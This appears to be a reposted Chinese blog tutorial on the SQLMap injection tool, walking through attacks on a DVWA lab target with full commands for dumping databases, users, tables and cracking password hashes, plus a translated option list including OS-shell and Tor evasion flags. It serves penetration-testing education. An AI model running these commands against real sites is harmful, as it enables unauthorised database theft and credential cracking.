渗透测试工具之SQLMap的详细使用方法

SQLMap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,日前支持的数据库是MS-SQL,,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

本文介绍的是在kali linux下的使用方法,windows下的指令调用方式与linux类似。

kali linux自带SQLMap,使用时在终端内敲入“sqlmap+参数”即可使用。

0x00

测试环境:Metasploit靶机,dvwa有漏洞的web应用

0x01

启动VirtualBOX打开Metasploit并查看靶机ip地址

登录dvwa,为方便演示,将dvwa的安全等级设置为“LOW”,点击“SQL Injection”,在输入框内随意提交一段字符串如admin,得到的url地址为:

http://192.168.0.106/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit#
url中出现了“id=***”的部分,猜测可能存在注入点,可用SQLMap进行检测,由于dvwa需要登录,所以参数中应使用“--cookie=”加入cookie信息,cookie可用火狐浏览器的插件“Live HTTP Headers”获取,加上cookie的命令如下:
sqlmap -u "http://192.168.0.106/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit#" --cookie="Cookie: security=low; PHPSESSID=d39b69bc7649eac2e116b404f3e2a628
Live HTTP Headers界面:

在sqlmap运行过程中会有很多选项,如果没有特殊要求可以敲击回车键选择默认选项,在命令后加入“--batch”可以让程序自动选择合适的选项。

程序的运行结果

结果显示sqlmap已经注入成功并获取了服务器的系统指纹和web应用的版本信息,下一步可通过其他参数获取数据库的更多信息

0x02

sqlmap的常用指令

1.暴库:参数--dbs,使用此参数列出靶机所有数据库,使用--current-db列出当前数据库

sqlmap -u "http://192.168.0.106/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit#" --cookie="security=low; PHPSESSID=d39b69bc7649eac2e116b404f3e2a628" --dbs

2.用户爆破:--users列出所有用户,--current-user列出当前用户
sqlmap -u "http://192.168.0.106/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit#" --cookie="security=low; PHPSESSID=d39b69bc7649eac2e116b404f3e2a628" --users

3.猜解数据库中的表

sqlmap -u "http://192.168.0.106/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit#" --cookie="security=low; PHPSESSID=d39b69bc7649eac2e116b404f3e2a628" -D dvwa -T users


4.数据库字段的指令-D:指定数据库名称-T:指定要列出字段的表--columns:指定列出字段

sqlmap -u "http://192.168.0.106/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit#" --cookie="security=low; PHPSESSID=d39b69bc7649eac2e116b404f3e2a628" -D dvwa -T users --columns


4.爆破用户密码:

sqlmap -u "http://192.168.0.106/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit#" --cookie="security=low; PHPSESSID=d39b69bc7649eac2e116b404f3e2a628" --passwords

图为SQLMap正在使用默认字典对密码进行爆破


爆破成功,列出用户名和密码:


0x03

附:SQLmap参数说明(个人翻译,如有语义上的出入,欢迎指正)
Options:
  -h, --help            Show basic help message and exit 显示基础帮助信息然后退出
  -hh                   Show advanced help message and exit 显示进阶帮助信息然后退出
  --version             Show program's version number and exit 显示程序版本然后退出
  -v VERBOSE            Verbosity level: 0-6 (default 1) 内容冗余长度等级
  Target:
    At least one of these options has to be provided to define the
    target(s)以下选项至少使用一项来指定目标
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1") 参数加url地址
    -g GOOGLEDORK       Process Google dork results as target URLs 将谷歌傻瓜式搜索(谷歌高级搜索)的结果作为目标
  Request:请求
    These options can be used to specify how to connect to the target URL以下选项用于指定连接url地址的详细确切方法
    --data=DATA         Data string to be sent through POST 通过post方法向服务器递交数据
    --cookie=COOKIE     HTTP Cookie header value 添加cookie信息用于网站身份认证
    --random-agent      Use randomly selected HTTP User-Agent header value采用随机的UA信息来避免除法服务器的某些安全机制
    --proxy=PROXY       Use a proxy to connect to the target URL 使用代理来连接目标服务器
    --tor               Use Tor anonymity network 使用Tor匿名路由来连接网络
    --check-tor         Check to see if Tor is used properly 自动检测Tor是否已经进行了正确的配置
  Injection:注入
    These options can be used to specify which parameters to test for,这些选项可以用来指定哪个参数测试
    provide custom injection payloads and optional tampering scripts提供自定义脚本注入和可选的有效载荷篡改
    -p TESTPARAMETER    Testable parameter(s)可测试参数
    --dbms=DBMS         Force back-end DBMS to this value暴力破解后端数据库
  Detection:探测
    These options can be used to customize the detection phase这些选项可用于定制分阶段检测
    --level=LEVEL       Level of tests to perform (1-5, default 1)测试执行等级
    --risk=RISK         Risk of tests to perform (1-3, default 1)测试执行风险等级
  Techniques:技巧
    These options can be used to tweak testing of specific SQL injection
    techniques这些调整选项可以被用于测试特定 SQL 注入技术
    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
  Enumeration:列举
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

这些选项可用于枚举与后端数据库管理系统信息、结构数据和包含在所述表中

    -a, --all           Retrieve everything检索所有内容
    -b, --banner        Retrieve DBMS banner检索数据库标题
    --current-user      Retrieve DBMS current user检索数据库当前用户
    --current-db        Retrieve DBMS current database检索当前使用的数据库
    --passwords         Enumerate DBMS users password hashes枚举用户密码及哈希值
    --tables            Enumerate DBMS database tables枚举数据库的表
    --columns           Enumerate DBMS database table columns枚举数据库列
    --schema            Enumerate DBMS schema列举数据库表
    --dump              Dump DBMS database table entries爆破数据库
    --dump-all          Dump all DBMS databases tables entries爆破所有数据库表
    -D DB               DBMS database to enumerate DBMS 数据库枚举
    -T TBL              DBMS database table(s) to enumerate DBMS 数据库表的列 (一一列举)
    -C COL              DBMS database table column(s) to enumerate DBMS 数据库表的列 (一一列举)
  Operating system access:操作系统的访问
    These options can be used to access the back-end database management
    system underlying operating system这些选项可以用来访问后端数据库管理系统基础操作系统
    --os-shell          Prompt for an interactive operating system shell 提示交互式操作系统外壳
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC 提示用于 OOB , meterpreter 或 VNC
  General:通用选项
    These options can be used to set some general working parameters这些选项可以用来设置某些一般工作参数
    --batch             Never ask for user input, use the default behaviour批量自动填充,永远不要问我可选选项,使用默认选项
    --flush-session     Flush session files for current target 刷新会话档案的当前目标
  Miscellaneous:杂项
    --sqlmap-shell      Prompt for an interactive sqlmap shell 交互式 shell 提示 sqlmap
    --wizard            Simple wizard interface for beginner users 简单的新手用户的向导界面

猜你喜欢

转载自blog.csdn.net/levones/article/details/77141046